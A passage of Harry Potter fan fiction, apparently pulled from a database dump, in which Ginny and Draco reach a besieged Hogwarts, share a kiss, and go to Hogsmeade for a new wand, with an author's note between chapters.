eyes and chose the ignore Draco&#8217;s statement for the most part. &#8220;We&#8217;re going by this fireplace, Malfoy?&#8221;\n<br><br>\n	&#8220;Yes, Mother is looking for some Floo Powder. We haven&#8217;t needed Floo Powder in a long time, but I know we have some,&#8221; said Draco, his hands rubbing Haven&#8217;s back soothingly.\n<br><br>\n	Ron was sitting in an arm chair, his jaw set and his mouth in a pout; it was still evident to all that he was fully against any sort of alliance with Draco and that he would feel better as soon as they were away from this place, away from them.\n<br><br>\n	Ron turned, and spoke to Draco, his voice hosting harsh tones. &#8220;You&#8217;ve been away from your Death Eaters for a long time, Malfoy, won&#8217;t they be suspicious?&#8212;Little Lucius Junior not living up to his father?&#8221;\n<br><br>\n	Draco narrowed his eyes at Ron. &#8220;That&#8217;s none of your concern, Weasley.&#8221; His voice conveyed a different tone when he used &#8216;Weasley&#8217; for Ron than it did when he used it for Ginny. With Ron is was a loathing sort of tone, used to remind him that he was lower than any Malfoy, and with Ginny, it was detached and indifferent, merely a name that he would call her, refusing to lower his standards and call her by her first name. &#8220;You shouldn&#8217;t toy with things you don&#8217;t know anything about,&#8221; he said in a low and dangerous tone. Even Haven was looking at Ron doubtfully.\n<br><br>\n	Ron was ready to snap back at Draco, ready to hurl more insults and comments about Draco&#8217;s father, but Ginny looked at him sharply. &#8220;Ron,&#8221; she said firmly. &#8220;You aren&#8217;t helping anyone with your foolish comments. Keep them to yourself.&#8221;\n<br><br>\n	&#8220;She&#8217;s right, Ron,&#8221; Harry spoke up. &#8220;Malfoy hasn&#8217;t done anything to prove himself untrustworthy to our side since he&#8217;s been helping us.&#8221;\n<br><br>\n	&#8220;Since when has he been helping us?&#8221; Ron asked.\n<br><br>\n	Harry frowned and looked to Draco, who kept his face blank and didn&#8217;t say anything. &#8220;He&#8217;s been with us since the beginning of the war.&#8221;\n<br><br>\n	Ron blinked and said very quietly, &#8220;Then why did we lose?&#8221;\n<br><br>\n	&#8220;You can&#8217;t win everything,&#8221; said Draco. &#8220;This is your last chance, this is the Resistance&#8217;s last chance. If you can&#8217;t win this time, then you never will.&#8221; He looked at Harry, &#8220;You&#8217;ve beaten down Voldemort, but you&#8217;ve never destroyed him, you have to do that or everything good will go down and you&#8217;ll never be able to dig yourselves out of the hole the Resistance is already in.&#8221;\n<br><br>\n	Ginny noticed that Haven was looking up at his father with wide, wet eyes. &#8220;Haven,&#8221; she spoke softly. &#8220;Would you like to go get something to eat? Those&#8212;snicker doodles that your father was talking about yesterday?&#8221; She held out her hand. \n<br><br>\n	Haven looked to Draco for approval. Draco nodded and helped Haven off of his lap, giving him a gentle push in Ginny&#8217;s direction. Haven took her hand and she led him out of the tenseness of the library.\n<br><br>\n	&#8220;Why does your brother hate my daddy so much?&#8221; Haven asked, his voice quavering faintly.\n<br><br>\n	&#8220;My brother holds grudges like no one else, he&#8217;s set on the idea that your dad is evil&#8212;and he isn&#8217;t&#8212;and won&#8217;t let go.&#8221; Ginny said, squeezing Haven&#8217;s hand. &#8220;But don&#8217;t worry about him, my brother isn&#8217;t listened to very much anyways, he just tends to ramble about things.&#8221;\n<br><br>\n	Haven let out a small giggle and Ginny smiled at him.\n<br>\nThey all stood in front of the fire place, Ron and Percy being held up by Fred and George. Haven was holding his father&#8217;s hand, listening silently while Draco explained that he couldn&#8217;t come, that he would have to stay with Grammy Ciss and that he would be back soon to see him and sent him off.\n<br><br>\n	Draco held the pot of Floo Powder and everyone grabbed a handful of it, Ginny last, taking it slowly, her hands shaking. She held hers, fisted in one hand, and stared in the fire. Harry was going first. She could still feel herself shaking, her hands more than anything else. The thought of going back to Hogwarts, seeing her other brothers, Hermione and everyone she had thought dead was overwhelming, as was the fact that they were now doing something to fight back against the New Ministry, against Voldemort.\n<br><br>\n	Draco took a firm hold of Ginny&#8217;s free, shaking hand, stilling it slightly. She glanced up at him and saw that he was looking straight into the fire. His hand was warm and dry&#8212;comforting. \n<br><br>\n	Harry threw his powder into the fire and the flames took on a greenish tint. He stepped in and yelled, &#8220;Shrieking Shack.&#8221; Then sped away, leaving the flames to take on their original orange-red color. Fred and George went one after the other, taking Ron and Percy with them. Then Neville stepped up and went, pinched his eyes shut tight and tucking his elbows in firmly.\n<br><br>\n	Draco and Ginny were the only ones left. Draco squeezed her hand gently. &#8220;You go first,&#8221; he said. \n<br><br>\n	She looked up at him and turned to give him a quick hug, he blinked and patted her back awkwardly. She threw her powder into the fire and stepped in, feeling the flames convulse hotly around her. &#8220;Shrieking Shack,&#8221; she shouted. The flames gripped at her and propelled her through the network of fireplaces.\n<br>\n\nGinny stumbled out of the fire place and Harry caught her by the arms, pulling her up straight. She looked around the small, dusty room. The only window in the room was boarded up from the outside, the pointy ends of the nails rusty and sticking out dangerously.\n<br><br>\n	Seconds later, Draco came through the fire place with ease. He brushed himself off and looked up at everyone. &#8220;Ready?&#8221; he asked. \n<br><br>\nThey all nodded and Harry led the way out of the Shrieking Shack to the tunnel that led to the Whomping Willow. He stepped out first and pushed the knob on the tree, stopping the branches and ushered everyone out quickly.\n<br><br>\nGinny&#8217;s breath caught in her throat as she looked on Hogwarts again. It was the same as she remembered it, everything down to the Quidditch pitch that looked as if it were still used on weekends for games. She looked and saw that Hagrid&#8217;s hut had a puff of smoke coming out of its chimney and her lips spread out into a small smile. \n<br><br>\nA hand touched her arm, she looked up and saw Draco looking at her with a raised eyebrow. &#8220;You&#8217;ll have enough time for that later,&#8221; he said. She nodded and followed him back to the others. \n<br><br>\nThey walked up to the front doors, which were guarded by Aurors. They saw the twins and Harry and opened to doors for them listlessly. Ginny&#8217;s boots clicked sharply on the marble floor of the entrance hall, making a cranky Mrs. Norris hiss at her from a dark corner. \n<br><br>\n&#8220;Ginny! Ron! Percy!&#8221; Footsteps thundered down the hall as Bill and Charlie ran at them. Within seconds everyone, minus Draco, and Neville who was standing around awkwardly, was engulfed in hugs and kisses. \n<br><br>\n&#8220;Charlie&#8230;Bill,&#8221; Ginny said with happy tears. She hugged them tightly. &#8220;I missed you so much.&#8221; \n<br><br>\n&#8220;We missed you too, Gin.&#8221; Charlie said, wrapping her up in another hug.\n<br><br>\n&#8220;Ron!&#8221; Hermione&#8217;s voice was heard screaming. She ran at them and wrapped her arms around Ron, kissing him soundly on the lips. Ginny saw Draco grimace and turn away, she had to put her hand over her mouth to keep from laughing. Hermione turned to Ginny. &#8220;Oh, I&#8217;ve missed you all.&#8221; She gave Ginny a hug as well. \n<br><br>\n&#8220;I <i>hate</i> to break up the family reunion,&#8221; Draco said in voice that made it clear he wasn&#8217;t. &#8220;But don&#8217;t you think that we should inform Dumbledore of the arrivals?&#8221;\n<br><br>\n&#8220;He&#8217;s right,&#8221; Harry agreed. &#8220;Let&#8217;s go up to see Dumbledore, then we can all catch up.&#8221;\n<br><br>\n They followed Harry up to Dumbledore&#8217;s office, and Hermione supplied the password &#8220;cauldron cakes.&#8221; Ginny felt her lips tugged up in a smile, despite the war Dumbledore had still kept his password contained in the realm of sweets. \n<br><br>\nAs they all crowded into his office, Dumbledore&#8217;s wizened face broke into a smile. &#8220;I see you all have made it!&#8221; he stated happily. &#8220;Merlin,&#8221; he said, getting out of his chair and hugging the Weasleys that had been at the refugee camp. &#8220;It is so wonderful to see you all.&#8221; He frowned at Ron and Percy, &#8220;What happened with you two?&#8221;\n<br><br>\n&#8220;They were bitten by a Shrilist during that attack on Hogsmeade,&#8221; said Ginny, &#8220;and were infected with ricnophotosis because I didn&#8217;t have the proper ingredients to treat the bite.&#8221; She looked the Ron and Percy quickly, &#8220;Do you think that Professor Snape could brew an anti-ricnophotosis potion?&#8221;\n<br><br>\nDumbledore raised a hand as if to wave her off. &#8220;Of course he can, it is no matter.&#8221; He turned to Neville. &#8220;Would you mind taking them down?&#8221;\n<br><br>\n&#8220;No, sir,&#8221; Neville said. He turned and took control of Ron and Percy and steered them out of the door and towards the hospital wing. Ron could be heard muttering under his breath about being left out as the door shut soundly behind them, Neville&#8217;s ruefully smiling face lingering in the doorjamb for a moment.\n<br><br>\nDumbledore studied them standing before them. &#8220;Sit,&#8221; he commanded softly, the lightness that had been in his eyes upon their arrival diminishing quickly. &#8220;As you all know,&#8221; he said as they took seats around his office, &#8220;the New Ministry is quite frankly in full power now.&#8221; He gave them each a long look, &#8220;You might have guessed, despite you not being here,&#8221; he looked at Ginny pointedly, &#8220;that I had to shut down Hogwarts as a school. It is still open to anyone of the Resistance in need of refuge, but there is no way that it can remain an active learning environment&#8212;it has turned into too much of a base for the Resistance.&#8221; \n<br><br>\nHis eyes were tired, he rubbed them slowly, thoughtfully, and continued. &#8220;If we are to take any action in trying to prevent the New Ministry&#8217;s control from spreading any further it has to be done soon&#8212;as soon as possible. There is not much time, the number of dark supporters is growing everyday. More and more people are seeing that the Resistance is not as strong as it used to be. Our numbers are dwindling and many of the Aurors sent on missions do not come back. Thankfully we have Mr. Malfoy here. He is helping us more than he sees.&#8221; He nodded in Draco&#8217;s direction.\n<br><br>\nGinny was hoping to see him display some sort of human quality, such as blushing, but he didn&#8217;t&#8212;his face remained a cool mask and he merely nodded back to their former Headmaster. Harry was sitting in a red armchair, close to Dumbledore&#8217;s desk, staring pensively at Fawkes, who was perched on the back of Dumbledore&#8217;s chair.\n<br><br>\n&#8220;How long do we have?&#8221; he asked quietly. He raised his eyes and glanced at Ginny. His eyes were so hard a small chill ran down her back. She had never seen him look so determined.\n<br><br>\nDumbledore let out a low sigh. &#8220;Maybe two months. After that&#8230;&#8221;\n<br><br>\nDraco spoke up, &#8220;After two months you&#8217;re all going to die more or less.&#8221; Everyone&#8217;s eyes turned to him. Everyone but Dumbledore glared. He raised his eyebrows, &#8220;It&#8217;s true. Everyday Hogwarts&#8217;s defenses are deteriorating, and so are the numbers of the Resistance. There simply aren&#8217;t enough people willing to die for a just cause.&#8221;\n<br><br>\nGinny blinked, lowering her eyebrows a bit. Her voice came out softly, trying not to put Draco on the defensive with her question, &#8220;Would you?&#8221;\n<br><br>\nHis cool gray eyes flicked over to her face. &#8220;I support what&#8217;s right,&#8221; he said simply. Ginny probed his eyes searching for something else. There was nothing. She settled back in her chair and glanced over at Fred and George, who were practically hovering above their chairs. It was obvious they weren&#8217;t too comfortable talking about this. \n<br><br>\n&#8220;Anyway,&#8221; said Harry. &#8220;I think that now, since we have Ginny, Ron, and Percy, we should start planning.&#8221;\n<br><br>\n&#8220;You haven&#8217;t been planning before now?&#8221; Ginny asked, a bit anxiously.\n<br><br>\nHarry rubbed the back of his neck. &#8220;We&#8217;ve done vague planning, but we really needed you,&#8221; he admitted, &#8220;as well as Ron and Percy. You were one of our top healers and Ron was so good at strategy. I guess all those years of chess really paid off, eh?&#8221;\n<br><br>\nGinny nodded mutely. They were going to have to plan quickly&#8212;but since they were going to have to plan quickly it would have to be very precise, and checked over many times. Being too hasty could cause them to fall again; to fall into the hole Draco had said they would never be able to get out of.\n<br><br>\n&#8220;I am sure that you would all like to get settled. We have more time to talk about this later. It is a bit much to hear all at one time,&#8221; Dumbledore said gently. &#8220;We will talk tomorrow, in the morning.&#8221;\n<br><br>\nGinny stood and pushed open the door before anyone else. She rushed down the stairs, and through the halls. Her eyes were stinging, she had tried to keep them back but it was so hard. The pressure of everything was finally coming down on her. Her shoulders felt heavy and burdened with the weight of everything the wizarding world had become. She knew that by herself there was nothing that she could do to fix it, but that didn&#8217;t help her to stop feeling so awful about it. \n<br><br>\nShe rounded a corner and sped down a familiar dead-ended corridor. She had come here many times when she had still been going to Hogwarts. It was her favorite place in the whole castle. At the end of the hall there was a big window, with a large green cushioned window seat. The window showed the front view of the castle&#8212;the lake, Hagrid&#8217;s hut, traces of the Forbidden Forest, and if you looked closely enough you could see the outskirts of Hogsmeade.\n<br><br>\nShe settled upon the cushion and swiped at her cheeks with her fingers, pushing the tears away. She closed her eyes and settled back against the stone feeling the coldness seeping through her robes. \n<br><br>\nShe sniffed the air quietly, it had changed. A more masculine smell had invaded her nose. She opened her eyes and saw Draco standing over her. She blinked. &#8220;What are you doing here?&#8221; she asked bleakly. \n<br><br>\n&#8220;Nice to see you too,&#8221; he said dryly. He didn&#8217;t say anything else, but looked out the window, his gaze settling over the lake. \n<br><br>\nGinny wasn&#8217;t going to admit it to herself, but she did feel better now that Draco was there. Just someone else being with her made the weight lighten. \n<br><br>\nDraco shoved her feet off of the cushion. Ginny glared at him, but he ignored her. He folded his long frame into the confines of the opposite end of the seat gracefully, totally unruffled by the otherwise awkward maneuvering. \n<br><br>\n&#8220;Are you worried any about Haven?&#8221; Ginny asked, following his gaze to the lake. There was nothing special about it now, the giant squid hadn&#8217;t poked its head out of the waters or anything. But it was tranquil. The water was a deep blue that sat still, no rippling&#8212;it looked like glass.\n<br><br>\nDraco lifted his eyes to hers. &#8220;Not especially. That house is well warded,&#8221; he said. &#8220;My mother is there, I trust her.&#8221;\n<br><br>\n&#8220;I didn&#8217;t mean to imply that&#8212;&#8217;&#8217;\n<br><br>\n&#8220;I know what you meant, Weasley,&#8221; Draco cut in. &#8220;It&#8217;s fine.&#8221; Ginny fell silent and studied his face. It was hard to imagine that the man sitting across from he was the same boy she had known in Hogwarts; the same boy that teased and tormented her family for as long as anyone could remember. &#8220;I know I&#8217;m good-looking,&#8221; Draco&#8217;s smug voice sliced into her thoughts, &#8220;but you don&#8217;t have to stare.&#8221;\n<br><br>\nGinny snorted derisively. &#8220;I was thinking. And it wasn&#8217;t about your looks.&#8221; She let out a small sigh. &#8220;You&#8217;re so different.&#8221;\n<br><br>\nHe brushed off the comment. &#8220;Everyone is different.&#8221;\n<br><br>\nGinny shook her head. &#8220;Not like you. You&#8230;you&#8217;re not so Malfoyish.&#8221;\n<br><br>\nDraco arched an eyebrow. &#8220;Malfoyish?&#8221;\n<br><br>\nGinny rolled her eyes. &#8220;You know what I mean. You aren&#8217;t all &#8216;Die Mudbloods, die!&#8217;&#8221;\n<br><br>\nDraco&#8217;s mouth curved into an &#8216;o&#8217;, but his eyes remained expressionless. &#8220;Oh look, Weasley used a grown-up word. My, my, aren&#8217;t you growing up fast.&#8221;\n<br><br>\nGinny rubbed her temples. &#8220;I take that back. You did not change. You&#8217;re still very much an annoying prat.&#8221; \n<br><br>\nDraco smirked. &#8220;Why thank you.&#8221;\n<br><br>\nGinny shook her head again, &#8220;Anytime, Malfoy, anytime.&#8221;\n<br><br>\n&#8220;You&#8217;ve changed as well,&#8221; Draco commented.\n<br><br>\n&#8220;How so?&#8221;\n<br><br>\n&#8220;You aren&#8217;t the same little mouse that used to hide behind Potter and Gits,&#8221; Draco said. His lips spread into an evil grin, and he sang softly: &#8220;<i>His eyes are as green as a fresh pickled toad, his hair is as dark as a blackboard&#8212;</i>&#8217;&#8217;\n<br><br>\nGinny smacked her hand over his mouth firmly, giving him a glare that usually made her brothers back off in seconds. He was unfazed. &#8220;That,&#8221; she said deliberately, &#8220;is enough.&#8221; She shook her head at his childishness. &#8220;I wasn&#8217;t myself that year anyways.&#8221;\n<br><br>\nDraco&#8217;s eyes flashed oddly. He grasped her wrist and pulled her hand away from his face, but he didn&#8217;t let go. &#8220;Who were you?&#8221; he asked.\n<br><br>\n&#8220;Part Tom,&#8221; she said quietly, frowning and looking at Draco&#8217;s hand holding hers. &#8220;I was never totally in control,&#8221; she murmured. She lifted her eyes to his, they were wide and uncertain. She blinked rapidly. She hated thinking about anything that had happened during her first year. It was the worst year of her life, counting all of the ones she spent in war. &#8220;T-Tom,&#8221; she said hoarsely, &#8220;he was becoming me.&#8221;\n<br><br>\nThe corner of Draco&#8217;s lip twitched. &#8220;So he was writing love poems to Potter?&#8221;\n<br><br>\nGinny couldn&#8217;t help but smile. Draco&#8217;s eyes flicked down to her lips. Unconsciously, Ginny&#8217;s tongue darted out and licked them. Draco&#8217;s eyes darkened and he leaned forward&#8212;his lips brushing hers ever so gently, like an angel&#8217;s wing fluttering over her lips.\n<br>\n\n\n'),
	(99, 10, '\n<b>VF:</b> Alright, sorry about that last A/N, it got cut off for some reason. But basically what I said was, that Haven&#8217;s mother will be revealed when it&#8217;s time&#8212;but not yet. There have been some good and right guesses but <b>I&#8217;m not telling you</b> for sure&#8212;so you&#8217;ll all have to just hang in there and wait to find out. I&#8217;ll just say that his mother is<i> not</i> Ginny. ::smirks::\n<br><br>\n\nThe only reason I think that I got this chapter done so soon was because I&#8217;ve been home with bronchitis (again) and I&#8217;ve mainly just been: sleeping, reading fanfiction, and writing fanfiction. Oh, and we&#8217;ve also had school cancelled for three days due to sleet and such that made the roads all dangerous. ::whee:: I&#8217;m so happy we don&#8217;t have school.\n<br><br>\n\n\n<b>Disclaimer:</b> I don&#8217;t own anything. The only thing that I remotely own is Haven. Oh! And I borrowed the <i>Serpent League</i> from <b>Night Spirit</b>, but with permission! I asked first. (I changed it up a bit though, and used it as a more elite group of Death Eaters.)\n<br><br>\n<br><br>\n\n\n---------------------------------\n<br><br>\n<br><br>\n\n\n<b>Heroes Shed No Tears</b><br>\nChapter 10\n<br><br>\n\nLast time&#8230;\n<br><br>\n\n<i>Ginny couldn&#8217;t help but smile. Draco&#8217;s eyes flicked down to her lips. Unconsciously, Ginny&#8217;s tongue darted out and licked them. Draco&#8217;s eyes darkened and he leaned forward&#8212;his lips brushing hers ever so gently, like an angel&#8217;s wing fluttering over her lips.</i>\n<br><br>\n\nHis lips on hers sent a tingling sensation down her spine that caused her to arch upwards so that her lips were pressing harder against his, deepening the kiss&#8212;she could feel it all the way down to her toes. Before she knew it, her hands were caught up in his hair and his arms were wrapped around her waist, pulling her onto his lap. His tongue slipped out of his mouth carefully and pushed against her lips. Without so much as a second thought, she opened for him and his tongue slipped into her mouth to tease hers slowly. A low moan erupted from the back of her throat.\n<br><br>\n\nSlowly, Draco pulled away and opened his eyes. Ginny still had hers closed, her lips parted slight&#8212;her eyes fluttered open slowly as she looked up at Draco, her eyes soft. He blinked and looked back at her with an unreadable expression that caused her to frown. \n<br><br>\n\n&#8220;What?&#8221; she asked nervously. Aware that her hands were still tangled in his hair, she brought them down quickly and put them in her lap; he didn&#8217;t take his hands from her waist.\n<br><br>\n\nHe scowled and shook his head. &#8220;Nothing.&#8221; He looked out of the window for a second, then back at her. &#8220;Do you think that we should go and find out where we&#8217;re staying?&#8221;\n<br><br>\n\nGinny bit the inside of her cheek and looked down. &#8220;Sounds like a good idea,&#8221; she said, climbing off of his lap. He got up and followed her down the hallway back to Dumbledore&#8217;s office. She said the password and stepped onto the stairs, Draco right behind her.\n<br><br>\n\nWhen she opened the door, the twins both exchanged amused glances before anyone had even said anything. &#8220;Well, well,&#8221; said Fred, standing up from his seat. &#8220;Who looks like they just climbed out of a broom closet?&#8221;\n<br><br>\n\nGeorge chuckled. &#8220;Yes? Who, dear brother?&#8221; He also got up from his seat and they both advanced on both Draco and Ginny, who were still standing near the doorway. Ginny&#8217;s eyes widened.\n<br><br>\n\n&#8220;What are you talking about?&#8221; Draco snapped. \n<br><br>\n\n&#8220;You know what we&#8217;re talking about,&#8221; George said with a devious wink.\n<br><br>\n\n&#8220;You know <i>exactly</i> what we&#8217;re talking about.&#8221; Fred grinned madly. &#8220;Someone&#8217;s been <i>snogging</i> our sister.&#8221; Ginny felt her cheeks heat up in a bright red blush. Was it that obvious?\n<br><br>\n\n&#8220;Alright boys, that&#8217;s enough,&#8221; Dumbledore cut in&#8212;though it was quite obvious he was amused by this as well; his eyes were sparkling and his lips had taken to an upward tilt. &#8220;I will take you to your rooms now,&#8221; he said, getting up from his chair. Ginny looked around the room quickly, searching for Harry. He wasn&#8217;t there. &#8220;Ah,&#8221; Dumbledore said, noticing. &#8220;Mr. Potter has gone down to check on Mr. Weasley.&#8221;\n<br><br>\n\n&#8220;Oh,&#8221; said Ginny, and she followed Dumbledore out of the office.\n<br><br>\n\n&#8220;You&#8217;ll be staying in the old Ravenclaw dormitories&#8212;most likely in the seventh year girls dormitory seeing as that is the only one that has not been filled yet. The rest of your family has taken residence in the sixth year dormitories.&#8221; Dumbledore turned to Draco with a frown. &#8220;I&#8217;m afraid you&#8217;ll have to share with Miss Weasley for now, Mr. Malfoy. We&#8217;ve been having a shortage on beds&#8212;we&#8217;re quite full.&#8221;\n<br><br>\n\nDraco nodded curtly. &#8220;Fine.&#8221;\n<br><br>\n\n&#8220;Toffee cakes,&#8221; Dumbledore said to the portrait that guarded the entrance to Ravenclaw&#8212;it was a fairy. \n<br><br>\n\n&#8220;&#8217;Evening, Professor Dumbledore,&#8221; the fairy greeted.\n<br><br>\n\nDumbledore inclined his head. &#8220;Miss Meriwether.&#8221; The fairy let out a tinkling giggle. \n<br><br>\n\nHe led them through the common room, which had about four or five people sitting and just talking, or reading in it&#8212;they didn&#8217;t even look up when Ginny and Draco came in behind Dumbledore. Despite the fact that there were people talking in the common room, it seemed to be a quiet and hushed talk. The common room seemed barren of true life forms; it seemed the ones that were in it were merely there because they had no other place to go&#8212;they were like ghosts that would never pass on to their next life, they had lingered in a world they didn&#8217;t belong in for too long. \n<br><br>\n\nGinny looked at the faces of the people in the common room. They looked like young Aurors, but you never could tell&#8212;everyone looked older than they were supposed to. There was one small girl sitting in a dark corner, a large book open in her lap. Her eyes were focused on the pages - the words - her mouth forming them as she read. The girl looked to be no older than ten. Ginny felt her heart go out to the girl, who seemed distressed at what she was reading.\n<br><br>\n\n&#8220;Weasley,&#8221; Draco hissed at her, raising an eyebrow. Dumbledore had paused that the staircase, waiting for her to come out of her reverie.\n<br><br>\n\n&#8220;I&#8217;m sorry,&#8221; she said softly, jumping up and following them up the stairs.\n<br><br>\n\n&#8220;This is where you&#8217;ll be staying while you&#8217;re here,&#8221; Dumbledore said as soon as they reached the dormitory. &#8220;If you need any new robes&#8230;or anything, you can go down to Professor Flitwick&#8217;s old room to request. We&#8217;ll try to provide you with anything you need.&#8221; Ginny knew this comment was for her, after all, Draco seemed to be one of the few people at Hogwarts able to provide for himself outside of the castle. Ginny even suspected that he was the one that provided them with many of their supplies.\n<br><br>\n\nDraco cleared his throat. &#8220;Professor,&#8221; he said. Dumbledore raised an eyebrow, urging him to continue. &#8220;It seems that Weasley here had an accident when we were traveling here&#8212;her wand snapped.&#8221; He paused and looked at Ginny, who had a small smile on her face. &#8220;A venture to Hogsmeade to retrieve a new one is imperative,&#8221; he finished. \n<br><br>\n\nDumbledore nodded. &#8220;So it is. Please just be back before night fall. The Serpent League has settled a small amount of troops near Hogsmeade,&#8221; Dumbledore said, the concern for them evident in his voice. The Serpent League was the most elite group of Death Eaters; the only reason to station them so near Hogwarts was the keep the Resistance on their toes.\n<br><br>\n\n&#8220;Alright,&#8221; Draco said. Dumbledore gave them one last smile and left the dormitory, closing the door behind him.\n<br><br>\n\nGinny looked at Draco with wide eyes. &#8220;We&#8217;re going to Hogsmeade when there are Serpent League troops there?&#8221;\n<br><br>\n\nDraco looked at her mildly amused. &#8220;When do you suggest we go? It&#8217;s not as if the amount of troops is going to decrease any. If anything, their numbers will increase.&#8221;\n<br><br>\n\nGinny nodded slowly, sitting on a bed heavily. She sighed deeply and rubbed her eyes with her fingertips. &#8220;I have to have a wand,&#8221; she said mostly to herself. She looked at the blue bedspread thoughtfully. &#8220;I guess we should leave as soon as possible, right?&#8221;\n<br><br>\n\n&#8220;That would be correct,&#8221; Draco said his voice having taken on an impatient edge. &#8220;In fact&#8230;if we could leave now&#8230;&#8221;\n<br><br>\n\n&#8220;Right,&#8221; Ginny said quickly, getting off of the bed. &#8220;Let&#8217;s get this over with.&#8221;\n<br><br>\n\nDraco studied her for a moment. &#8220;I can&#8217;t take you looking like that.&#8221;\n<br><br>\n\nGinny frowned and looked at her robes; they were ordinary black robes that Narcissa had given her to wear, what could possibly be wrong with them? She fingered the hem apprehensively. &#8220;What&#8217;s wrong with how I look?&#8221; she demanded. \n<br><br>\n\n&#8220;For one, you don&#8217;t look like you belong in Hogsmeade at this time. Have you stepped foot in any of the old wizarding cities since the war?&#8221; he asked carefully. \n<br><br>\n\n&#8220;No,&#8221; she snapped. &#8220;Why would I? It&#8217;s not like I had the money to buy anything<i> then</i>. Prices rose unbelievably when the war began,&#8221; she said, half-glaring at him.\n<br><br>\n\nDraco rolled his eyes. &#8220;Exactly. Only people with money are seen anywhere near shops these days. And you definitely don&#8217;t look like you have any money.&#8221;\n<br><br>\n\n&#8220;I&#8217;m wearing your mother&#8217;s robes,&#8221; Ginny argued.\n<br><br>\n\n&#8220;They certainly aren&#8217;t her finest,&#8221; said Draco. &#8220;I&#8217;m sure there&#8217;s something decent in here that you can wear&#8230;&#8221; He had gotten up and was rooting through a large trunk situated near a bed that was in the darkest corner of the room. She could see that there was another dark and ornate looking trunk at the foot of that bed and could only assume that this wasn&#8217;t the first time that Draco had taken up residence in this dormitory. &#8220;Here,&#8221; Draco said, throwing robes at her. \n<br><br>\n\nShe caught them and turned them over in her hands. The fabric of these dark black robes was much thicker and finer than that of the ones she was currently wearing. She held them out and saw that the cut was also much more fashionable and expensive&#8212;not to mention that it was clearly a woman&#8217;s robe. She arched an eyebrow at Draco. &#8220;Do you often indulge yourself in a collection of women&#8217;s robes?&#8221; she asked, her lips curling up in a smile.\n<br><br>\n\nDraco smirked. &#8220;Not too often.&#8221; He moved to leave the room, and stopped at the door. &#8220;Do hurry up,&#8221; he said, then left, closing the door loudly behind him.\n<br><br>\n\nGinny rolled her eyes and began tugging the robes she was wearing off. Slipping the new ones on and admiring the feel of the lush fabric against her skin. She looked in a mirror rooted on the wall, and pulled her hair up, twisting it. She turned and looked at it from the side.\n<br><br>\n\n&#8220;Very nice, dearie,&#8221; the mirror complemented.\n<br><br>\n\nGinny sighed and let it down. She didn&#8217;t have anything to keep it up with.\n<br><br>\n\nBefore causing herself any more grievances, she turned away from the mirror and left the dormitory. She went down the stairs quickly, but paused once she reached the bottom. Draco was sitting on the floor next to the girl that she had take notice to when they first entered the Ravenclaw tower. The book she had been reading was still resting open on he lap, but she was looking up at Draco, nodding and talking to him. The sight of Draco sitting on the floor with the little girl made her eyebrows slam together in confusion. She would have understood if it had been Haven, but this most certainly wasn&#8217;t. \n<br><br>\n\nDraco reached out and ruffled the girl&#8217;s hair affectionately before standing up and brushing off his robes. Ginny heard the girl&#8217;s faint, &#8220;Bye, Draco,&#8221; as he walked towards Ginny, noticing her appearance in the common room.\n<br><br>\n\n&#8220;Let&#8217;s go then,&#8221; he said, seeing that she had changed into the robes. &#8220;We don&#8217;t have time to waste.&#8221;\n<br><br>\n\n&#8220;I know that,&#8221; she snapped irritably. Draco was treating her as if she were a child, and it was grating on her nerves. &#8220;I&#8217;m not stupid,&#8221; she added.\n<br><br>\n\nDraco raised an eyebrow but didn&#8217;t say anything as they made their way towards the Entrance Hall. \n<br><br>\n\nThe fresh air outside of Hogwarts made Ginny inhale deeply, thoroughly enjoying the smell&#8212;it was much different than that of the dust-permeated air at the refugee camp. Just the smell of it reminded her of when she was at Hogwarts. It made her want to laugh, or do a cartwheel on the lush grass just because she could.\n<br><br>\n\nDraco and Ginny were silent as they walked down to Hogsmeade, but Ginny was happy for it; she had so many thoughts buzzing through her head that she needed time to think about, and if the way things were going kept up, then she would have much time to think.\n<br><br>\n\nThe Forbidden Forest seemed to leer at them as they walked by, more frightening than it had been when she had attended Hogwarts. She could smell the stench of wild magic wafting from the trees and who knew what else was in there. Ginny suppressed a shudder when she thought she thought she saw a pair of bright yellow eyes staring out of the foliage; she blinked and they were gone.\n<br><br>\n\nThey were well into the outskirts of Hogsmeade when Draco said: &#8220;Stay close.&#8221; She didn&#8217;t have to be told twice. Everything had grown darker since the last time she had been there. Once they entered the streets of Hogsmeade, she saw that there was no Zonko&#8217;s or Honeyduke&#8217;s. Shops like that had been replaced by ones selling dark objects or potion ingredients.\n<br><br>\n\nDraco quickly pulled his hood up, and shot Ginny a look telling her she should do the same. She reached for the hood of her cloak and pulled it up over her head, tucking her hair back into it. They continued walking down the street, Ginny was almost afraid that someone would stop and recognize her; but they merely went on with their business, not even taking second glances at the black clad Ginny and Draco. They stopped in front of Ollivander&#8217;s &#8211; the shop&#8217;s sign was peeling much like the one in Diagon Alley &#8211; only this one proclaimed itself the Hogsmeade branch.\n<br><br>\n\nNot waiting for Ginny, who had paused to study the sign, Draco went forward quickly and pushed open the door, causing a small bell to tinkle throughout the shop. Suddenly afraid of being left alone with whatever dark persons there were in Hogsmeade, Ginny scrambled up the small steps that led to the entrance and went inside behind Draco. He was already at the counter; a man was appearing from the backroom slowly, making his way towards the counter.\n<br><br>\n\n&#8220;Mr. Malfoy,&#8221; the man greeted in a silky voice, one that made the hairs on the back of Ginny&#8217;s neck stand up.\n<br><br>\n\n&#8220;Ollivander,&#8221; was Draco&#8217;s reply. &#8220;We&#8217;ve come for a wand.&#8221;\n<br><br>\n\n&#8220;We?&#8221; Ollivander raised an eyebrow, and Ginny peered at him timidly from behind Draco. Draco let out a frustrated growl and forced her in front of him. &#8220;Oh, Miss Weasley, you have not been here for your first wand yet have you?&#8221; he asked, almost gently.\n<br><br>\n\n&#8220;No,&#8221; Ginny said.\n<br><br>\n\nOllivander nodded. &#8220;What kind of magic do you excel in?&#8221; he asked. \n<br><br>\n\n&#8220;Healing,&#8221; she said, casting a wary glance at him.\n<br><br>\n\n&#8220;Ah,&#8221; Ollivander said, picking up a wand box. He slipped the wand out and handed it to Ginny. She looked at it slightly confused. &#8220;Give it a wave,&#8221; he prompted.\n<br><br>\n\n&#8220;Oh, right,&#8221; Ginny said, feeling a blush rise in her cheeks. She felt stupid, but she waved the wand anyways. Nothing happened.\n<br><br>\n\nHe picked up another box, took the wand out and handed it to Ginny. &#8220;Try this one.&#8221; She waved it again&#8212;nothing happened. Ollivander frowned, &#8220;Well, third time&#8217;s a charm.&#8221; He got out one last wand and handed it to her. She waved it and green and blue sparks flew out of the end in a sparkling shower. Ginny grinned. &#8220;Twelve inch rosewood with a phoenix feather core. 